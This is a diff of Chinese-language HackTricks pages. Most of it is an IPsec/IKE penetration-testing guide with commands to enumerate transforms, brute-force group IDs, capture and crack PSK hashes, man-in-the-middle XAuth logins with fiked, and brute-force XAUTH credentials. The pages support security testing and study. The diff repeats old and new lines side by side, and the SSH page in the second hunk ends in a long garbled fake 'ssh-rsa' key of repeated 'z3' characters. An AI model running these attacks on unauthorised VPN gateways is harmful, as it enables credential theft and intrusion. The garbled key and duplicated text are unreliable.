- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 上**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (674).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
# 基本信息
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder 跟踪你的攻击面,运行主动威胁扫描,发现整个技术栈中的问题,从 API 到 Web 应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
IPsec 是用于网关到网关(LAN 到 LAN)和主机到网关(远程访问)企业 VPN 解决方案的最常用技术。
|
||||
|
||||
**IKE 是 ISAKMP 的一种实现**(Internet Security Association Key Management Protocol),它是一种用于身份验证和密钥交换的框架。IKE 通过三个阶段的过程在两个端点之间建立安全关联(SA):
|
||||
**IKE 是 ISAKMP 的一种类型**(Internet Security Association Key Management Protocol)实现,它是一种用于身份验证和密钥交换的框架。IKE 通过三个阶段的过程在两个端点之间建立安全关联(SA):
|
||||
|
||||
* **第 1 阶段:**使用预共享密钥(PSK)或证书在 2 个端点之间建立安全通道。它可以使用主模式(3 对消息)或**主动**模式。
|
||||
* **第 1 阶段:**使用预共享密钥(PSK)或证书在 2 个端点之间建立安全通道。它可以使用主模式(3 对消息)或**主动模式**。
|
||||
* **第 1.5 阶段:**这是可选的,称为扩展认证阶段,用于对尝试连接的用户进行身份验证(用户+密码)。
|
||||
* **第 2 阶段:**使用 ESP 和 AH 协商数据安全的参数。它可以使用与第 1 阶段不同的算法(完全前向保密(PFS))。
|
||||
* **第 2 阶段:**使用 ESP 和 AH 协商数据安全的参数。它可以使用与第 1 阶段不同的算法(完全前向保密性(PFS))。
|
||||
|
||||
**默认端口:**500/udp
|
||||
|
||||
# 使用 nmap **发现**该服务
|
||||
## 使用 nmap 发现服务
|
||||
```
|
||||
root@bt:~# nmap -sU -p 500 172.16.21.200
|
||||
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
||||
|
@ -37,7 +42,7 @@ PORT STATE SERVICE
|
|||
500/udp open isakmp
|
||||
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||
```
|
||||
# **寻找有效的转换**
|
||||
## **查找有效的转换**
|
||||
|
||||
IPSec配置只能准备接受一个或几个转换。一个转换是一组值的组合。**每个转换**包含一些属性,如DES或3DES作为**加密算法**,SHA或MD5作为**完整性算法**,预共享密钥作为**身份验证类型**,Diffie-Hellman 1或2作为密钥**分发算法**,以及28800秒作为**生命周期**。
|
||||
|
||||
|
@ -54,12 +59,12 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
|
|||
|
||||
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
|
||||
```
|
||||
正如您在上一个回答中所看到的,有一个名为**AUTH**的字段,其值为**PSK**。这意味着VPN是使用预共享密钥进行配置的(对于渗透测试人员来说,这非常好)。
|
||||
正如您在上一条回复中所看到的,有一个名为**AUTH**的字段,其值为**PSK**。这意味着VPN是使用预共享密钥进行配置的(对于渗透测试人员来说,这非常好)。
|
||||
**最后一行的值也非常重要:**
|
||||
|
||||
* _0 returned handshake; 0 returned notify:_ 这意味着目标不是一个IPsec网关。
|
||||
* _**1 returned handshake; 0 returned notify:**_ 这意味着目标已配置为IPsec,并愿意执行IKE协商,并且您提出的一个或多个变换是可接受的(输出中将显示一个有效的变换)。
|
||||
* _0 returned handshake; 1 returned notify:_ 当没有一个变换是可接受的时,VPN网关会响应一个通知消息(尽管一些网关不会这样做,在这种情况下,应尝试进一步分析和修订提议)。
|
||||
* _返回0个握手;返回0个通知:_ 这意味着目标不是一个IPsec网关。
|
||||
* _**返回1个握手;返回0个通知:**_ 这意味着目标已配置为IPsec,并愿意执行IKE协商,并且您提出的一个或多个变换是可接受的(输出中将显示一个有效的变换)。
|
||||
* _返回0个握手;返回1个通知:_ 当**没有一个变换是可接受的**时,VPN网关会响应一个通知消息(尽管一些网关不会这样做,在这种情况下,应尝试进一步分析和修改提议)。
|
||||
|
||||
因此,在这种情况下,我们已经有了一个有效的变换,但如果您处于第三种情况,则需要**稍微进行暴力破解以找到一个有效的变换:**
|
||||
|
||||
|
@ -84,13 +89,13 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
|
|||
![](<../.gitbook/assets/image (109).png>)
|
||||
|
||||
在**DH Group: 14 = 2048-bit MODP**和**15 = 3072-bit**中\
|
||||
**2 = HMAC-SHA = SHA1(在这种情况下)。--trans格式为$Enc,$Hash,$Auth,$DH**
|
||||
**2 = HMAC-SHA = SHA1(在这种情况下)。--trans格式为$Enc,$Hash,$Auth,$DH**
|
||||
|
||||
Cisco建议特别避免使用DH组1和2。论文的作者描述了如何通过离散对数预计算来解密使用弱组协商的IPsec会话,这很可能是国家可以做到的。通过实时解密使用弱组(1,024位或更小)的任何会话,数亿美元的预计算成本得到了摊销。
|
||||
思科建议特别避免使用DH组1和2。论文的作者描述了如何通过离散对数预计算来解密使用弱组协商的IPsec会话,这很可能是国家可以做到的。通过对使用弱组(1,024位或更小)的任何会话进行实时解密,数亿美元的预计算成本得到了摊销。
|
||||
|
||||
## 服务器指纹识别
|
||||
### 服务器指纹识别
|
||||
|
||||
然后,您可以使用ike-scan尝试**发现设备的供应商**。该工具发送一个初始提议并停止重放。然后,它将**分析**从服务器接收到的消息与匹配的响应模式之间的**时间差异**,渗透测试人员可以成功识别VPN网关的供应商。此外,一些VPN服务器将使用带有IKE的可选**供应商ID(VID)负载**。
|
||||
然后,您可以使用ike-scan尝试**发现设备的供应商**。该工具发送一个初始提议并停止重放。然后,它将**分析**从服务器接收到的消息与匹配的响应模式之间的**时间差异**,渗透测试人员可以成功识别VPN网关供应商。此外,一些VPN服务器将使用带有IKE的可选**供应商ID(VID)负载**。
|
||||
|
||||
**如果需要,指定有效的转换**(使用--trans)
|
||||
|
||||
|
@ -116,18 +121,18 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
|
|||
```
|
||||
这也可以使用nmap脚本_**ike-version**_来实现。
|
||||
|
||||
# 查找正确的ID(组名)
|
||||
## 查找正确的ID(组名)
|
||||
|
||||
为了能够捕获哈希值,您需要一个支持主动模式和正确ID(组名)的有效转换。您可能不知道有效的组名,因此您需要进行暴力破解。\
|
||||
为此,我建议您使用2种方法:
|
||||
|
||||
## 使用ike-scan进行ID暴力破解
|
||||
### 使用ike-scan进行ID暴力破解
|
||||
|
||||
首先,尝试使用虚假的ID发出请求,尝试收集哈希值("-P"):
|
||||
```bash
|
||||
ike-scan -P -M -A -n fakeID <IP>
|
||||
```
|
||||
如果**没有返回哈希值**,那么可能这种暴力破解方法会起作用。**如果返回了某个哈希值,这意味着将返回一个伪造的哈希值用于伪造的ID,因此这种方法不可靠**来暴力破解ID。例如,可能会返回一个伪造的哈希值(在现代版本中会发生这种情况):
|
||||
如果**没有返回哈希值**,那么可能这种暴力破解的方法会起作用。**如果返回了某个哈希值,这意味着将返回一个伪造的哈希值用于伪造的ID,因此这种方法不可靠**来暴力破解ID。例如,可能会返回一个伪造的哈希值(在现代版本中会发生这种情况):
|
||||
|
||||
![](<../.gitbook/assets/image (110).png>)
|
||||
|
||||
|
@ -135,34 +140,31 @@ ike-scan -P -M -A -n fakeID <IP>
|
|||
|
||||
这个脚本**将尝试暴力破解可能的ID**,并返回返回有效握手的ID(这将是一个有效的组名)。
|
||||
|
||||
如果你发现了特定的转换,请将其添加到ike-scan命令中。如果你发现了多个转换,请随意添加一个新的循环来尝试它们(直到其中一个正常工作为止)。
|
||||
如果你发现了特定的转换,请在ike-scan命令中添加它。如果你发现了多个转换,请随意添加一个新的循环来尝试它们(你应该尝试它们所有,直到其中一个正常工作为止)。
|
||||
|
||||
你可以使用[ikeforce的字典](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)或[seclists中的字典](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)来暴力破解常见的组名:
|
||||
```bash
|
||||
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
|
||||
```
|
||||
或者使用这个字典(这是两个字典的组合,没有重复的内容):
|
||||
或者使用这个字典(是两个字典的组合,没有重复的内容):
|
||||
|
||||
{% file src="../.gitbook/assets/vpnIDs.txt" %}
|
||||
|
||||
## 使用Iker进行ID暴力破解
|
||||
### 使用Iker进行ID暴力破解
|
||||
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) 也使用 **ike-scan** 来暴力破解可能的组名。它根据ike-scan的输出结果采用自己的方法来 **找到一个有效的ID**。
|
||||
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) 也使用 **ike-scan** 来暴力破解可能的组名。它遵循自己的方法,根据ike-scan的输出来找到一个有效的ID。
|
||||
|
||||
## 使用ikeforce进行ID暴力破解
|
||||
### 使用ikeforce进行ID暴力破解
|
||||
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) 是一个可以用来进行ID暴力破解的工具。该工具将尝试利用不同的漏洞来 **区分有效ID和非有效ID**(可能会有误报和误判,这就是为什么我更喜欢使用ike-scan方法)。
|
||||
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) 是一个可以用来暴力破解ID的工具。该工具将尝试利用不同的漏洞来区分有效ID和非有效ID(可能会有误报和误判,这就是为什么我更喜欢使用ike-scan方法)。
|
||||
|
||||
默认情况下,**ikeforce** 会在开始时发送一些随机的ID来检查服务器的行为,并确定要使用的策略。
|
||||
默认情况下,ikeforce会在开始时发送一些随机的ID来检查服务器的行为,并确定要使用的策略。
|
||||
|
||||
* 第一种方法是通过 **搜索** Cisco系统的 **Dead Peer Detection DPD** 信息来暴力破解组名(只有在组名正确时服务器才会回复此信息)。
|
||||
|
||||
* 第二种可用的方法是 **检查每次尝试发送的响应数量**,因为有时在使用正确的ID时会发送更多的数据包。
|
||||
|
||||
* 第三种方法是在对不正确的ID进行响应时 **搜索"INVALID-ID-INFORMATION"**。
|
||||
|
||||
* 最后,如果服务器对检查没有任何回复,**ikeforce** 将尝试暴力破解服务器,并检查当发送正确的ID时服务器是否会回复一些数据包。\
|
||||
显然,暴力破解ID的目的是在获得有效的ID后获取 **PSK**。然后,使用 **ID** 和 **PSK**,您将需要暴力破解XAUTH(如果启用)。
|
||||
* 第一种方法是通过搜索Cisco系统的Dead Peer Detection DPD信息(只有在组名正确时服务器才会回复该信息)来暴力破解组名。
|
||||
* 第二种可用的方法是检查每次尝试发送的响应数量,因为有时在使用正确的ID时会发送更多的数据包。
|
||||
* 第三种方法是在对不正确的ID进行响应时搜索"INVALID-ID-INFORMATION"。
|
||||
* 最后,如果服务器对检查没有任何回复,ikeforce将尝试暴力破解服务器,并检查当发送正确的ID时服务器是否会回复一些数据包。\
|
||||
显然,暴力破解ID的目标是在获得有效的ID后获取PSK。然后,使用ID和PSK将需要暴力破解XAUTH(如果启用)。
|
||||
|
||||
如果您发现了特定的转换,请将其添加到ikeforce命令中。如果您发现了多个转换,请随意添加一个新的循环来尝试它们(您应该尝试它们所有,直到其中一个正常工作为止)。
|
||||
```bash
|
||||
|
@ -173,37 +175,37 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
|
|||
```bash
|
||||
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
|
||||
```
|
||||
## 嗅探ID
|
||||
### 嗅探ID
|
||||
|
||||
通过嗅探VPN客户端和服务器之间的连接,也可以获取有效的用户名,因为第一个激进模式数据包中包含的客户端ID是明文发送的(来自书籍《网络安全评估:了解您的网络》)。
|
||||
|
||||
![](<../.gitbook/assets/image (111).png>)
|
||||
|
||||
# 捕获和破解哈希值
|
||||
## 捕获和破解哈希值
|
||||
|
||||
最后,如果您找到了一个**有效的转换**和**组名**,并且**允许激进模式**,那么您可以非常容易地获取可破解的哈希值:
|
||||
```bash
|
||||
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
|
||||
```
|
||||
哈希值将保存在_hash.txt_文件中。
|
||||
哈希值将保存在 _hash.txt_ 文件中。
|
||||
|
||||
您可以使用**psk-crack**,**john**(使用[**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py))和**hashcat**来**破解**哈希值:
|
||||
您可以使用 **psk-crack**、**john**(使用 [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py))和 **hashcat** 来 **破解**该哈希值:
|
||||
```bash
|
||||
psk-crack -d <Wordlist_path> psk.txt
|
||||
```
|
||||
# **XAuth**
|
||||
## **XAuth**
|
||||
|
||||
大多数实现使用**预共享密钥的主动模式IKE来进行组认证**,并使用**XAUTH提供额外的用户认证**(通过Microsoft Active Directory、RADIUS或类似方式)。在**IKEv2**中,**EAP替代了XAUTH**来对用户进行认证。
|
||||
大多数实现使用**侵略模式的IKE与PSK进行组认证**,并使用**XAUTH提供额外的用户认证**(通过Microsoft Active Directory、RADIUS或类似方式)。在**IKEv2**中,**EAP替代XAUTH**用于认证用户。
|
||||
|
||||
## 本地网络中间人攻击以捕获凭据
|
||||
### 本地网络中间人攻击以捕获凭据
|
||||
|
||||
因此,您可以使用_fiked_来捕获登录数据,并查看是否存在默认用户名(您需要将IKE流量重定向到`fiked`以进行嗅探,可以通过ARP欺骗来完成,[更多信息](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked将充当VPN终端点,并捕获XAuth凭据:
|
||||
因此,您可以使用_fiked_捕获登录数据,并查看是否存在默认用户名(您需要将IKE流量重定向到`fiked`以进行嗅探,可以借助ARP欺骗来完成,[更多信息](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/))。Fiked将充当VPN终端点,并捕获XAuth凭据:
|
||||
```bash
|
||||
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
||||
```
|
||||
此外,使用IPSec尝试进行中间人攻击,并阻止所有流量到端口500,如果无法建立IPSec隧道,可能会以明文形式发送流量。
|
||||
|
||||
## 使用ikeforce暴力破解XAUTH用户名和密码
|
||||
### 使用ikeforce暴力破解XAUTH用户名和密码
|
||||
|
||||
要暴力破解**XAUTH**(当您知道有效的组名**id**和**psk**时),您可以使用用户名或用户名列表以及密码列表:
|
||||
```bash
|
||||
|
@ -211,11 +213,11 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
|
|||
```
|
||||
这样,ikeforce将尝试使用每个用户名:密码组合进行连接。
|
||||
|
||||
如果找到一个或多个有效的转换,就像之前的步骤一样使用它们。
|
||||
如果找到一个或多个有效的转换方式,就像之前的步骤一样使用它们。
|
||||
|
||||
# 使用IPSEC VPN进行身份验证
|
||||
## 使用IPSEC VPN进行身份验证
|
||||
|
||||
在Kali中,**VPNC**用于建立IPsec隧道。**配置文件**必须位于**_/etc/vpnc/_**中,您可以使用工具_**vpnc**_来调用它们。\
|
||||
在Kali中,使用**VPNC**建立IPsec隧道。**配置文件**必须位于_**/etc/vpnc/**_中,您可以使用工具_**vpnc**_来调用它们。\
|
||||
以下示例摘自书籍**Network Security Assessment 3rd Edition**:
|
||||
```
|
||||
root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP
|
||||
|
@ -230,29 +232,30 @@ root@kali:~# vpnc vpntest
|
|||
VPNC started in background (pid: 6980)...
|
||||
root@kali:~# ifconfig tun0
|
||||
```
|
||||
# 参考资料
|
||||
## 参考资料
|
||||
|
||||
* [PSK破解论文](http://www.ernw.de/download/pskattack.pdf)
|
||||
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
|
||||
* [扫描VPN实现](http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf)
|
||||
* [扫描VPN实现](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
|
||||
|
||||
# Shodan
|
||||
## Shodan
|
||||
|
||||
* `port:500 IKE`
|
||||
|
||||
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘!**(需要流利的波兰语书写和口语能力)。
|
||||
|
||||
|
@ -52,18 +52,18 @@ ssh-audit是一个用于ssh服务器和客户端配置审计的工具。
|
|||
|
||||
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) 是从[https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)更新的分支。
|
||||
|
||||
**特点:**
|
||||
**特点:**
|
||||
|
||||
* 支持SSH1和SSH2协议服务器;
|
||||
* 分析SSH客户端配置;
|
||||
* 获取横幅,识别设备或软件和操作系统,检测压缩;
|
||||
* 收集密钥交换,主机密钥,加密和消息认证代码算法;
|
||||
* 输出算法信息(可用自,已删除/禁用,不安全/弱/遗留等);
|
||||
* 输出算法建议(根据识别的软件版本追加或删除);
|
||||
* 输出安全信息(相关问题,分配的CVE列表等);
|
||||
* 基于算法信息分析SSH版本兼容性;
|
||||
* 来自OpenSSH,Dropbear SSH和libssh的历史信息;
|
||||
* 在Linux和Windows上运行;
|
||||
* 支持SSH1和SSH2协议服务器;
|
||||
* 分析SSH客户端配置;
|
||||
* 获取横幅,识别设备或软件和操作系统,检测压缩;
|
||||
* 收集密钥交换、主机密钥、加密和消息认证代码算法;
|
||||
* 输出算法信息(可用自从,已移除/禁用,不安全/弱/遗留等);
|
||||
* 输出算法建议(根据识别的软件版本追加或删除);
|
||||
* 输出安全信息(相关问题,分配的CVE列表等);
|
||||
* 基于算法信息分析SSH版本兼容性;
|
||||
* 来自OpenSSH、Dropbear SSH和libssh的历史信息;
|
||||
* 在Linux和Windows上运行;
|
||||
* 无依赖项
|
||||
```bash
|
||||
usage: ssh-audit.py [-1246pbcnjvlt] <host>
|
||||
|
@ -88,7 +88,7 @@ $ python3 ssh-audit <IP>
|
|||
### 服务器的公共SSH密钥
|
||||
|
||||
```plaintext
|
||||
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZz6Xz3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3z3